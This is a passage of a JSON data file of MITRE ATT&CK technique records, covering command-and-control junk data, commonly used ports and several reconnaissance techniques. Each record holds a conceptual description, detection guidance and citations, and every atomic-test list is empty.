- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1001.001",
- "url": "https://attack.mitre.org/techniques/T1001/001"
- },
- {
- "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
- "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
- "source_name": "University of Birmingham C2"
- }
- ],
- "modified": "2020-03-15T00:30:25.444Z",
- "name": "Junk Data",
- "description": "Adversaries may add junk data to protocols used for command and control to make detection more difficult. By adding random or meaningless data to the protocols used for command and control, adversaries can prevent trivial methods for decoding, deciphering, or otherwise analyzing the traffic. Examples may include appending/prepending data with junk characters or writing junk characters between significant characters. ",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "command-and-control"
- }
- ],
- "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Network Traffic: Network Traffic Content"
- ]
- },
- "atomic_tests": []
- },
- "T1043": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e",
- "type": "attack-pattern",
- "created": "2017-05-31T21:30:42.657Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": false,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1043",
- "url": "https://attack.mitre.org/techniques/T1043"
- },
- {
- "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
- "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
- "source_name": "University of Birmingham C2"
- }
- ],
- "modified": "2020-07-06T17:54:28.071Z",
- "name": "Commonly Used Port",
- "description": "**This technique has been deprecated. Please use [Non-Standard Port](https://attack.mitre.org/techniques/T1571) where appropriate.**\n\nAdversaries may communicate over a commonly used port to bypass firewalls or network detection systems and to blend with normal network activity to avoid more detailed inspection. They may use commonly open ports such as\n\n* TCP:80 (HTTP)\n* TCP:443 (HTTPS)\n* TCP:25 (SMTP)\n* TCP/UDP:53 (DNS)\n\nThey may use the protocol associated with the port or a completely different protocol. \n\nFor connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), examples of common ports are \n\n* TCP/UDP:135 (RPC)\n* TCP/UDP:22 (SSH)\n* TCP/UDP:3389 (RDP)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "command-and-control"
- }
- ],
- "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)",
- "x_mitre_deprecated": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- }
- }
- },
- {
- "category": "reconnaissance",
- "data": {
- "T1592": {
- "technique": {
- "x_mitre_platforms": [
- "PRE"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--09312b1a-c3c6-4b45-9844-3ccc78e5d82f",
- "type": "attack-pattern",
- "created": "2020-10-02T16:39:33.966Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1592",
- "url": "https://attack.mitre.org/techniques/T1592"
- },
- {
- "source_name": "ATT ScanBox",
- "url": "https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks",
- "description": "Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020."
- },
- {
- "source_name": "ThreatConnect Infrastructure Dec 2020",
- "url": "https://threatconnect.com/blog/infrastructure-research-hunting/",
- "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021."
- }
- ],
- "modified": "2021-10-17T16:35:09.878Z",
- "name": "Gather Victim Host Information",
- "description": "Adversaries may gather information about the victim's hosts that can be used during targeting. Information about hosts may include a variety of details, including administrative data (ex: name, assigned IP, functionality, etc.) as well as specifics regarding its configuration (ex: operating system, language, etc.).\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about hosts may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "reconnaissance"
- }
- ],
- "x_mitre_detection": "Internet scanners may be used to look for patterns associated with malicious content designed to collect host information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox)\n\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Internet Scan: Response Content"
- ]
- },
- "atomic_tests": []
- },
- "T1596.003": {
- "technique": {
- "x_mitre_platforms": [
- "PRE"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--0979abf9-4e26-43ec-9b6e-54efc4e70fca",
- "type": "attack-pattern",
- "created": "2020-10-02T16:58:58.738Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1596.003",
- "url": "https://attack.mitre.org/techniques/T1596/003"
- },
- {
- "source_name": "SSLShopper Lookup",
- "url": "https://www.sslshopper.com/ssl-checker.html",
- "description": "SSL Shopper. (n.d.). SSL Checker. Retrieved October 20, 2020."
- },
- {
- "source_name": "Medium SSL Cert",
- "url": "https://medium.com/@menakajain/export-download-ssl-certificate-from-server-site-url-bcfc41ea46a2",
- "description": "Jain, M. (2019, September 16). Export & Download \u2014 SSL Certificate from Server (Site URL). Retrieved October 20, 2020."
- }
- ],
- "modified": "2021-04-15T03:48:37.628Z",
- "name": "Digital Certificates",
- "description": "Adversaries may search public digital certificate data for information about victims that can be used during targeting. Digital certificates are issued by a certificate authority (CA) in order to cryptographically verify the origin of signed content. These certificates, such as those used for encrypted web traffic (HTTPS SSL/TLS communications), contain information about the registered organization such as name and location.\n\nAdversaries may search digital certificate data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about certificates.(Citation: SSLShopper Lookup) Digital certificate data may also be available from artifacts signed by the organization (ex: certificates used from encrypted web traffic are served with content).(Citation: Medium SSL Cert) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "reconnaissance"
- }
- ],
- "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1597.002": {
- "technique": {
- "x_mitre_platforms": [
- "PRE"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--0a241b6c-7bb2-48f9-98f7-128145b4d27f",
- "type": "attack-pattern",
- "created": "2020-10-02T17:05:43.562Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1597.002",
- "url": "https://attack.mitre.org/techniques/T1597/002"
- },
- {
- "source_name": "ZDNET Selling Data",
- "url": "https://www.zdnet.com/article/a-hacker-group-is-selling-more-than-73-million-user-records-on-the-dark-web/",
- "description": "Cimpanu, C. (2020, May 9). A hacker group is selling more than 73 million user records on the dark web. Retrieved October 20, 2020."
- }
- ],
- "modified": "2021-04-15T03:44:43.900Z",
- "name": "Purchase Technical Data",
- "description": "Adversaries may purchase technical information about victims that can be used during targeting. Information about victims may be available for purchase within reputable private sources and databases, such as paid subscriptions to feeds of scan databases or other data aggregation services. Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets.\n\nAdversaries may purchase information about their already identified targets, or use purchased data to discover opportunities for successful breaches. Threat actors may gather various technical details from purchased data, including but not limited to employee contact information, credentials, or specifics regarding a victim\u2019s infrastructure.(Citation: ZDNET Selling Data) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "reconnaissance"
- }
- ],
- "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1590.005": {
- "technique": {
- "x_mitre_platforms": [
- "PRE"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--0dda99f0-4701-48ca-9774-8504922e92d3",
- "type": "attack-pattern",
- "created": "2020-10-02T15:59:11.695Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1590.005",
- "url": "https://attack.mitre.org/techniques/T1590/005"
- },
- {
- "source_name": "WHOIS",
- "url": "https://www.whois.net/",
- "description": "NTT America. (n.d.). Whois Lookup. Retrieved October 20, 2020."
- },
- {
- "source_name": "DNS Dumpster",
- "url": "https://dnsdumpster.com/",
- "description": "Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020."
- },
- {
- "source_name": "Circl Passive DNS",
- "url": "https://www.circl.lu/services/passive-dns/",
- "description": "CIRCL Computer Incident Response Center. (n.d.). Passive DNS. Retrieved October 20, 2020."
- }
- ],
- "modified": "2021-04-15T03:31:05.302Z",
- "name": "IP Addresses",
- "description": "Adversaries may gather the victim's IP addresses that can be used during targeting. Public IP addresses may be allocated to organizations by block, or a range of sequential addresses. Information about assigned IP addresses may include a variety of details, such as which IP addresses are in use. IP addresses may also enable an adversary to derive other details about a victim, such as organizational size, physical location(s), Internet service provider, and or where/how their publicly-facing infrastructure is hosted.\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about assigned IP addresses may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "reconnaissance"
- }
- ],
- "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1590.002": {
- "technique": {
- "x_mitre_platforms": [
- "PRE"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--0ff59227-8aa8-4c09-bf1f-925605bd07ea",
- "type": "attack-pattern",
- "created": "2020-10-02T15:47:10.102Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1590.002",
- "url": "https://attack.mitre.org/techniques/T1590/002"
- },
- {
- "source_name": "DNS Dumpster",
- "url": "https://dnsdumpster.com/",
- "description": "Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020."
- },
- {
- "source_name": "Circl Passive DNS",
- "url": "https://www.circl.lu/services/passive-dns/",
- "description": "CIRCL Computer Incident Response Center. (n.d.). Passive DNS. Retrieved October 20, 2020."
- }
- ],
- "modified": "2021-04-15T03:29:18.740Z",
- "name": "DNS",
- "description": "Adversaries may gather information about the victim's DNS that can be used during targeting. DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target\u2019s subdomains, mail servers, and other hosts.\n\nAdversaries may gather this information in various ways, such as querying or otherwise collecting details via [DNS/Passive DNS](https://attack.mitre.org/techniques/T1596/001). DNS information may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596), [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593), or [Active Scanning](https://attack.mitre.org/techniques/T1595)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "reconnaissance"
- }
- ],
- "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1596.002": {
- "technique": {
- "x_mitre_platforms": [
- "PRE"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--166de1c6-2814-4fe5-8438-4e80f76b169f",
- "type": "attack-pattern",
- "created": "2020-10-02T16:56:49.744Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1596.002",
- "url": "https://attack.mitre.org/techniques/T1596/002"
- },
- {
- "source_name": "WHOIS",
- "url": "https://www.whois.net/",
- "description": "NTT America. (n.d.). Whois Lookup. Retrieved October 20, 2020."
- }
- ],
- "modified": "2021-04-15T03:50:44.113Z",
- "name": "WHOIS",
- "description": "Adversaries may search public WHOIS data for information about victims that can be used during targeting. WHOIS data is stored by regional Internet registries (RIR) responsible for allocating and assigning Internet resources such as domain names. Anyone can query WHOIS servers for information about a registered domain, such as assigned IP blocks, contact information, and DNS nameservers.(Citation: WHOIS)\n\nAdversaries may search WHOIS data to gather actionable information. Threat actors can use online resources or command-line utilities to pillage through WHOIS data for information about potential victims. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "reconnaissance"
- }
- ],
- "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1594": {
- "technique": {
- "x_mitre_platforms": [
- "PRE"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--16cdd21f-da65-4e4f-bc04-dd7d198c7b26",
- "type": "attack-pattern",
- "created": "2020-10-02T16:51:50.306Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1594",
- "url": "https://attack.mitre.org/techniques/T1594"
- },
- {
- "source_name": "Comparitech Leak",
- "url": "https://www.comparitech.com/blog/vpn-privacy/350-million-customer-records-exposed-online/",
- "description": "Bischoff, P. (2020, October 15). Broadvoice database of more than 350 million customer records exposed online. Retrieved October 20, 2020."
- }
- ],
- "modified": "2021-04-15T03:53:33.023Z",
- "name": "Search Victim-Owned Websites",
- "description": "Adversaries may search websites owned by the victim for information that can be used during targeting. Victim-owned websites may contain a variety of details, including names of departments/divisions, physical locations, and data about key employees such as names, roles, and contact info (ex: [Email Addresses](https://attack.mitre.org/techniques/T1589/002)). These sites may also have details highlighting business operations and relationships.(Citation: Comparitech Leak)\n\nAdversaries may search victim-owned websites to gather actionable information. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199) or [Phishing](https://attack.mitre.org/techniques/T1566)).",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "reconnaissance"
- }
- ],
- "x_mitre_detection": "Monitor for suspicious network traffic that could be indicative of adversary reconnaissance, such as rapid successions of requests indicative of web crawling and/or large quantities of requests originating from a single source (especially if the source is known to be associated with an adversary). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields.",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Application Log: Application Log Content"
- ]
- },
- "atomic_tests": []
- },
- "T1596.001": {
- "technique": {
- "x_mitre_platforms": [
- "PRE"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--17fd695c-b88c-455a-a3d1-43b6cb728532",
- "type": "attack-pattern",
- "created": "2020-10-02T16:57:45.044Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1596.001",
- "url": "https://attack.mitre.org/techniques/T1596/001"
- },
- {
- "source_name": "DNS Dumpster",
- "url": "https://dnsdumpster.com/",
- "description": "Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020."
- },
- {
- "source_name": "Circl Passive DNS",
- "url": "https://www.circl.lu/services/passive-dns/",
- "description": "CIRCL Computer Incident Response Center. (n.d.). Passive DNS. Retrieved October 20, 2020."
- }
- ],
- "modified": "2021-04-15T03:49:13.409Z",
- "name": "DNS/Passive DNS",
- "description": "Adversaries may search DNS data for information about victims that can be used during targeting. DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target\u2019s subdomains, mail servers, and other hosts.\n\nAdversaries may search DNS data to gather actionable information. Threat actors can query nameservers for a target organization directly, or search through centralized repositories of logged DNS query responses (known as passive DNS).(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Adversaries may also seek and target DNS misconfigurations/leaks that reveal information about internal networks. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "reconnaissance"
- }
- ],
- "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1591.003": {
- "technique": {
- "x_mitre_platforms": [
- "PRE"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--2339cf19-8f1e-48f7-8a91-0262ba547b6f",
- "type": "attack-pattern",
- "created": "2020-10-02T16:34:32.435Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1591.003",
- "url": "https://attack.mitre.org/techniques/T1591/003"
- },
- {
- "source_name": "ThreatPost Broadvoice Leak",
- "url": "https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/",
- "description": "Seals, T. (2020, October 15). Broadvoice Leak Exposes 350M Records, Personal Voicemail Transcripts. Retrieved October 20, 2020."
- }
- ],
- "modified": "2021-04-15T03:38:31.983Z",
- "name": "Identify Business Tempo",
- "description": "Adversaries may gather information about the victim's business tempo that can be used during targeting. Information about an organization\u2019s business tempo may include a variety of details, including operational hours/days of the week. This information may also reveal times/dates of purchases and shipments of the victim\u2019s hardware and software resources.\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about business tempo may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199))",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "reconnaissance"
- }
- ],
- "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1592.001": {
- "technique": {
- "x_mitre_platforms": [
- "PRE"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--24286c33-d4a4-4419-85c2-1d094a896c26",
- "type": "attack-pattern",
- "created": "2020-10-02T16:40:47.488Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1592.001",
- "url": "https://attack.mitre.org/techniques/T1592/001"
- },
- {
- "source_name": "ATT ScanBox",
- "url": "https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks",
- "description": "Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020."
- },
- {
- "source_name": "ThreatConnect Infrastructure Dec 2020",
- "url": "https://threatconnect.com/blog/infrastructure-research-hunting/",
- "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021."
- }
- ],
- "modified": "2021-10-17T16:32:10.810Z",
- "name": "Gather Victim Host Information: Hardware",
- "description": "Adversaries may gather information about the victim's host hardware that can be used during targeting. Information about hardware infrastructure may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: card/biometric readers, dedicated encryption hardware, etc.).\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: hostnames, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the hardware infrastructure may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Compromise Hardware Supply Chain](https://attack.mitre.org/techniques/T1195/003) or [Hardware Additions](https://attack.mitre.org/techniques/T1200)).",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "reconnaissance"
- }
- ],
- "x_mitre_detection": "Internet scanners may be used to look for patterns associated with malicious content designed to collect host hardware information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox)\n\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.1",
